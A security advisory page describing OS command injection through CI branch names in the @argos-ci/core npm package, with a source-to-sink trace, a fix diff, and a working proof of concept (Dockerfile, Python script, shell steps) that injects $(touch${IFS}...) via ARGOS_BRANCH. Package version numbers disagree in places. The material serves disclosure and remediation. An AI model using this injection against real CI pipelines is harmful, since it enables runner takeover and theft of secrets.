@argos-ci/core: CI Branch Name OS Command Injection
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H상세 설명
CI Branch Name OS Command Injection in @argos-ci/core
Summary
@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).
Details
The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:
1function gitFetch(input: { ref: string; depth: number; target: string }) { 2 execSync( 3 `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`, 4 ); 5}execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.
A secondary sink exists at packages/core/src/ci-environment/git.ts:67:
1execSync(`git merge-base ${input.head} ${input.base}`)Complete data flow (source → sink):
packages/core/src/ci-environment/services/github-actions.ts:104— readsenv.GITHUB_HEAD_REFwithout validation (source).packages/core/src/ci-environment/services/github-actions.ts:165— returns the branch from the CI context.packages/core/src/ci-environment/services/github-actions.ts:330— stores the value asbranch.packages/core/src/config.ts:119-123— loadsciEnv?.branchintoconfig.branch; onlyformat: Stringis applied, no sanitization.packages/core/src/upload.ts:285— callsgetMergeBaseCommitSha({ base, head: config.branch })when the API returnshasRemoteContentAccess: false.packages/core/src/ci-environment/git.ts:123— passes attacker-controlled value asreftogitFetch().packages/core/src/ci-environment/git.ts:89— sink:execSync(git fetch ... origin ${input.ref}:${input.target}).
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:
1-import { execSync } from "node:child_process"; 2+import { execFileSync, execSync } from "node:child_process"; 3 4 function gitFetch(input: { ref: string; depth: number; target: string }) { 5- execSync( 6- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`, 7- ); 8+ execFileSync("git", [ 9+ "fetch", "--force", "--update-head-ok",10+ "--depth", String(input.depth),11+ "origin", `${input.ref}:${input.target}`,12+ ]);13 }14 15 function gitMergeBase(input: { base: string; head: string }) {16- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();17+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();18 }PoC
Prerequisites:
- Docker installed on the test machine.
- Internet access to pull
node:22and install@argos-ci/cli@5.0.5from npm.
Step 1 — Build the Docker image:
1docker build -t argos-vuln-001 \ 2 -f /path/to/vuln-001/Dockerfile \ 3 /path/to/reports/npmAI_634_argos-ci__argos-javascript/The Dockerfile:
- Uses
node:22as the base. - Creates a local bare git repository at
/remote.gitand a working repository at/git-workspacewith that bare repo asorigin, sogit fetchhas a reachable remote. - Installs
@argos-ci/cli@5.1.0(which depends on@argos-ci/core@6.2.0) globally from the public npm registry. - Copies
poc.pyas the container entrypoint.
Step 2 — Run the container:
1docker run --rm argos-vuln-001What the PoC (poc.py) does:
- Starts a local HTTP mock server on
127.0.0.1:7777that returns{"hasRemoteContentAccess": false}forGET /v2/project, activating thegetMergeBaseCommitSha()code path. - Sets
ARGOS_BRANCHtomain$(touch${IFS}/tmp/argos-ci-cve-poc).$(...)is shell command substitution.${IFS}expands to a space character, bypassing naive space-based filters, making the injected commandtouch /tmp/argos-ci-cve-poc.
- Runs
argos upload <empty-dir> --files '*.png'with the malicious environment. - Checks for the marker file
/tmp/argos-ci-cve-poc.
Expected output:
1============================================================ 2[PASS] VULNERABILITY CONFIRMED 3[PASS] Marker file exists: /tmp/argos-ci-cve-poc 4[PASS] The shell command injected via ARGOS_BRANCH was executed 5[PASS] by execSync() inside gitFetch() (git.ts:88-90). 6============================================================The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
1mkdir -p /tmp/argos-poc && cd /tmp/argos-poc 2git init && git remote add origin https://github.com/argos-ci/argos-javascript.git 3 4# Start a minimal mock API server (background) 5node -e " 6const http = require('http'); 7http.createServer((req, res) => { 8 if (req.url === '/v2/project') { 9 res.writeHead(200, {'content-type':'application/json'});10 res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));11 return;12 }13 res.writeHead(200, {'content-type':'application/json'});14 res.end('{}');15}).listen(7777);16" &17 18mkdir empty19rm -f /tmp/argos-ci-cve-poc20ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \21ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \22ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \23ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \24npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true25 26test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
- Any organization using
@argos-ci/core(or the CLI@argos-ci/cli) in a CI pipeline where the project's Argos configuration hashasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in
pull_request_targetor other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.
Reproduction artifacts
Dockerfile
1FROM node:22 2 3# Install git and Python 3 4RUN apt-get update && \ 5 apt-get install -y --no-install-recommends git python3 && \ 6 rm -rf /var/lib/apt/lists/* 7 8# Configure git identity for commits inside the container 9RUN git config --global user.email "poc@test.local" && \10 git config --global user.name "PoC Test" && \11 git config --global init.defaultBranch main12 13# Create a local bare repository that acts as the "origin" remote.14# This lets git fetch succeed (reaching a real remote is not required for the15# injection -- the shell expands $() before git connects -- but a working16# remote means getMergeBaseCommitSha() returns a real SHA and the full17# upload code-path is exercised without extra noise from git errors.)18RUN git init --bare /remote.git19 20# Create the working repository with the bare repo as origin21RUN git init /git-workspace && \22 cd /git-workspace && \23 git remote add origin /remote.git && \24 echo "initial" > README.md && \25 git add README.md && \26 git commit -m "Initial commit" && \27 git branch -M main && \28 git push -u origin main29 30# Copy the cloned repository source for reference / source evidence.31# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.32COPY repo /argos-repo33 34# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)35# from the public npm registry -- same version as the cloned repository.36RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn37 38# Copy the Python PoC script39COPY vuln-001/poc.py /poc.py40 41# Run from inside the git workspace so that git commands find the correct repo42WORKDIR /git-workspace43 44ENTRYPOINT ["python3", "/poc.py"]poc.py
1#!/usr/bin/env python3 2""" 3PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0 4 5Vulnerability: CWE-78 (OS Command Injection) 6Affected file: packages/core/src/ci-environment/git.ts:87-90 7 8The gitFetch() function passes user-controlled ref strings directly into an 9execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so10shell metacharacters in the string -- including $() command substitution --11are evaluated before git runs.12 13Attack chain (source -> sink):14 env.GITHUB_HEAD_REF / ARGOS_BRANCH15 -> config.ts:119-122 (String cast, no sanitisation)16 -> upload.ts:285 getMergeBaseCommitSha({ head: config.branch })17 -> git.ts:123 gitFetch({ ref: input.head, ... })18 -> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)19 ^^^^^^^^ shell injection sink20 21This script:22 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false23 for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.24 2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value25 containing a $() command substitution.26 3. Checks for a filesystem artefact that proves execution.27"""28 29import json30import os31import subprocess32import sys33import threading34from http.server import BaseHTTPRequestHandler, HTTPServer35 36# File created by the injected command -- its existence proves execution.37MARKER_FILE = "/tmp/argos-ci-cve-poc"38 39# Port for the mock Argos API server.40MOCK_PORT = 777741 42 43class MockArgosAPI(BaseHTTPRequestHandler):44 """Minimal mock of the Argos REST API.45 46 Only two responses matter:47 - GET /v2/project -- must return hasRemoteContentAccess=false to trigger48 the git-based merge-base discovery code-path.49 - POST /v2/builds -- needs to return a recognisable structure so the SDK50 does not abort before we can observe the side-effect.51 """52 53 def log_message(self, fmt, *args):54 # Suppress per-request log noise; PoC progress messages are enough.55 pass56 57 def _send_json(self, status: int, body: dict) -> None:58 raw = json.dumps(body).encode()59 self.send_response(status)60 self.send_header("Content-Type", "application/json")61 self.send_header("Content-Length", str(len(raw)))62 self.end_headers()63 self.wfile.write(raw)64 65 def do_GET(self):66 if self.path.rstrip("/") == "/v2/project":67 # hasRemoteContentAccess=false is the precondition that makes the68 # SDK call getMergeBaseCommitSha() instead of fetching from the69 # Git provider API. This is the key to reaching the sink.70 self._send_json(200, {71 "id": "proj-1",72 "defaultBaseBranch": "main",73 "hasRemoteContentAccess": False,74 })75 else:76 self._send_json(200, {})77 78 def do_POST(self):79 # Drain request body to keep the connection clean.80 length = int(self.headers.get("Content-Length", 0))81 self.rfile.read(length)82 if "/builds" in self.path:83 # Return the minimal structure the SDK dereferences after POST /builds.84 self._send_json(201, {85 "id": "build-1",86 "url": "http://localhost/build/1",87 "screenshots": [],88 "pwTraces": [],89 })90 else:91 self._send_json(200, {})92 93 def do_PUT(self):94 length = int(self.headers.get("Content-Length", 0))95 self.rfile.read(length)96 self._send_json(200, {})97 98 99def start_mock_server() -> HTTPServer:100 server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)101 thread = threading.Thread(target=server.serve_forever, daemon=True)102 thread.start()103 return server104 105 106def main():107 print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")108 print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")109 print()110 111 # Remove any stale marker from a previous run.112 if os.path.exists(MARKER_FILE):113 os.remove(MARKER_FILE)114 115 # Start the mock Argos API.116 server = start_mock_server()117 print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")118 119 # Build the malicious branch name.120 # Breakdown:121 # main -- valid branch prefix so git ref looks plausible122 # $(...) -- shell command substitution, evaluated by /bin/sh123 # touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space124 # filters and forming "touch <path>"125 malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"126 print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")127 print(f"[*] Expected shell expansion: touch {MARKER_FILE}")128 print()129 130 # Empty upload directory -- no real screenshots needed. The injection131 # occurs during merge-base discovery before any upload loop runs.132 upload_dir = "/tmp/argos-empty-upload"133 os.makedirs(upload_dir, exist_ok=True)134 135 env = dict(os.environ)136 env.update({137 "ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",138 "ARGOS_TOKEN": "a" * 40,139 "ARGOS_COMMIT": "0" * 40,140 "ARGOS_BRANCH": malicious_branch,141 # Disable update-notifier noise inside the CLI.142 "NO_UPDATE_NOTIFIER": "1",143 })144 145 print("[*] Running: argos upload <empty-dir> --files '*.png'")146 result = subprocess.run(147 ["argos", "upload", upload_dir, "--files", "*.png"],148 env=env,149 capture_output=True,150 text=True,151 # CWD must be a git repository with an 'origin' remote so that152 # git fetch has a valid context. /git-workspace is prepared in the153 # Dockerfile for this purpose.154 cwd="/git-workspace",155 )156 157 print(f"[*] CLI exit code : {result.returncode}")158 if result.stdout.strip():159 print(f"[*] CLI stdout : {result.stdout.strip()[:600]}")160 if result.stderr.strip():161 print(f"[*] CLI stderr : {result.stderr.strip()[:600]}")162 163 server.shutdown()164 print()165 166 # --- Verdict ---167 if os.path.exists(MARKER_FILE):168 print("=" * 60)169 print("[PASS] VULNERABILITY CONFIRMED")170 print(f"[PASS] Marker file exists: {MARKER_FILE}")171 print("[PASS] The shell command injected via ARGOS_BRANCH was executed")172 print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")173 print("=" * 60)174 sys.exit(0)175 else:176 print("=" * 60)177 print("[FAIL] Marker file not found -- injection did not trigger.")178 print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")179 print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")180 print("=" * 60)181 sys.exit(1)182 183 184if __name__ == "__main__":185 main()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 4
링크 내용 불러오는 중…